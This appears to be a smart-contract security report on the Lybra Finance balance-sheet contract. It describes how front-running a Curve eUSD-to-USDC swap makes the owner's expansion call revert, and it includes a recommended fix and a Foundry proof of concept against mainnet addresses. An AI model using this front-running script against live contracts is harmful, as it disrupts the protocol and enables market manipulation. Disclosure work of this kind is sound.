# Expansion of balance sheet might be reverted by frontrunning eUSD->USDC swap, thus failing to achieve of monetary objective.

## Bug Description
Expansion of balance sheet will be conducted by LybraBalanceSheet to mint new eUSD and swap it for USDC from 3CRV-eUSD Curve pool.

If USDC amount received is not greater than eUSD amount sent, it will revert.

A malicious hacker can frontrun with calcuated amount of eUSD->USD swap so that USDC amount received will not be greater than eUSD amount sent.

Thus, monetary objective will not be achieved.

https://github.com/LybraFinance/LybraV2/blob/main/contracts/lybra/pools/LybraBalanceSheet.sol#L50-L59
```
    function expandBalanceSheet(uint256 amount) external activated onlyOwner {
        EUSD.mint(address(this), amount);
        EUSD.approve(address(curvePool), amount);
        uint256 preBalance = USDC.balanceOf(address(this));
        curvePool.exchange_underlying(0, 2, amount, amount / 1e12);
        uint256 received = USDC.balanceOf(address(this)) - preBalance;
        require(received > amount / 1e12, "eUSD must be sold at a premium");
        totalBorrowed += amount;
        emit ExpandBalanceSheet(amount, received, block.timestamp);
    }
```

Here's view function that calculate required eUSD amount to hijack expansion of balance sheet through binary search.

```
    function getRequiredEUSDToHijack(ICurvePool pool, uint256 expansionAmount) returns (uint256 amount) {
        uint256 max_dx = expansionAmount + 100000000 ether;
        uint256 min_dx = expansionAmount;
        uint256 dx;

        for (uint256 i = 0; i < 256; i++) {
            dx = (min_dx + max_dx) / 2;
            if (curvepool.get_dy_underlying(0, 2, dx) > dx / (10 ** 12)) {
                min_dx = dx;
            } else {
                max_dx = dx;
            }
        }
        return dx - expansionAmount;
    }
```

## Impact
Failing to achieve of monetary objective, thus giving a room for market manipulation.

## Recommendation
Should use eUSD price target rather than amount for monetary expansion parameter.

```
-   function expandBalanceSheet(uint256 amount) external activated onlyOwner {
+   function expandBalanceSheet(uint256 priceTarget) external activated onlyOwner {
+       uint256 amount = getRequiredEUSDForPriceTarget(pool, priceTarget, 10000000 ether);

        EUSD.mint(address(this), amount);
        EUSD.approve(address(curvePool), amount);
        uint256 preBalance = USDC.balanceOf(address(this));
        curvePool.exchange_underlying(0, 2, amount, amount / 1e12);
        uint256 received = USDC.balanceOf(address(this)) - preBalance;
        require(received > amount / 1e12, "eUSD must be sold at a premium");
        totalBorrowed += amount;
        emit ExpandBalanceSheet(amount, received, block.timestamp);
    }

+    function getRequiredEUSDForPriceTarget(ICurvePool pool, uint256 priceTarget, uint256 maximumAmount)
+           returns (uint256 amount)
+    {
+        uint256 max_dx = maximumAmount;
+        uint256 min_dx;
+        uint256 dx;

+        for (uint256 i = 0; i < 256; i++) {
+            dx = (min_dx + max_dx) / 2;
+            if (curvepool.get_dy_underlying(0, 2, dx) > dx / priceTarget) {
+                min_dx = dx;
+            } else {
+                max_dx = dx;
+            }
+        }
+        return dx;
+    }
```

## Proof of Concept
```
pragma solidity 0.8.20;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "../src/interfaces/IUniswapPairV2.sol";

interface ILybraBalanceSheet {
    function expandBalanceSheet(uint256 amount) external;
    function owner() external view returns (address);
}

interface ICurvePool{
    function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns(uint256);
    function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256);
}

contract ContractTest is Test {
    ILybraBalanceSheet  balanceSheet = ILybraBalanceSheet(0x51A11e98926bc047cbD0242A41C04FcBC15f849B);
    ICurvePool          pool = ICurvePool(0x2673099769201c08E9A5e63b25FBaF25541A6557);
    address             eUSD = 0xdf3ac4F479375802A821f7b7b46Cd7EB5E4262cC;
    address             hacker = 0xC53127AF77cBa7D07DC08e271bD0826c55f97467;

    function setUp() public {
        vm.createSelectFork("mainnet");

        vm.label(address(pool), "CurvePool");
        vm.label(address(balanceSheet), "LBS");
    }
    

    function testLBS() public {
        uint256 expansionAmount = 10000000 ether;
        uint256 hijackAmount = getRequiredEUSDToHijack(expansionAmount);

        emit log_named_decimal_uint("Expansion amount:", expansionAmount, 18);
        emit log_named_decimal_uint("Hijack amount:", hijackAmount, 18);

        emit log_named_decimal_uint("Frontrunning with eUSD->USDC swap:", hijackAmount, 18);
        vm.startPrank(hacker);
        IERC20(eUSD).approve(address(pool), hijackAmount);
        pool.exchange_underlying(0, 2, hijackAmount, 0);
        vm.stopPrank();
        
        emit log_named_decimal_uint("Expansion of balance sheet will revert", hijackAmount, 18);
        vm.startPrank(balanceSheet.owner());
        vm.expectRevert();
        balanceSheet.expandBalanceSheet(expansionAmount);
        vm.stopPrank();
    }

    function getRequiredEUSDToHijack(uint256 expansionAmount) public view returns (uint256 amount) {
        uint256 max_dx = expansionAmount * 2;
        uint256 min_dx = expansionAmount;
        uint256 dx;

        for (uint256 i = 0; i < 30; i++) {
            dx = (min_dx + max_dx) / 2;
            if (pool.get_dy_underlying(0, 2, dx) > dx / (10 ** 12)) {
                max_dx = dx;
            } else {
                min_dx = dx;
            }
        }
        return dx - expansionAmount;
    }
}
```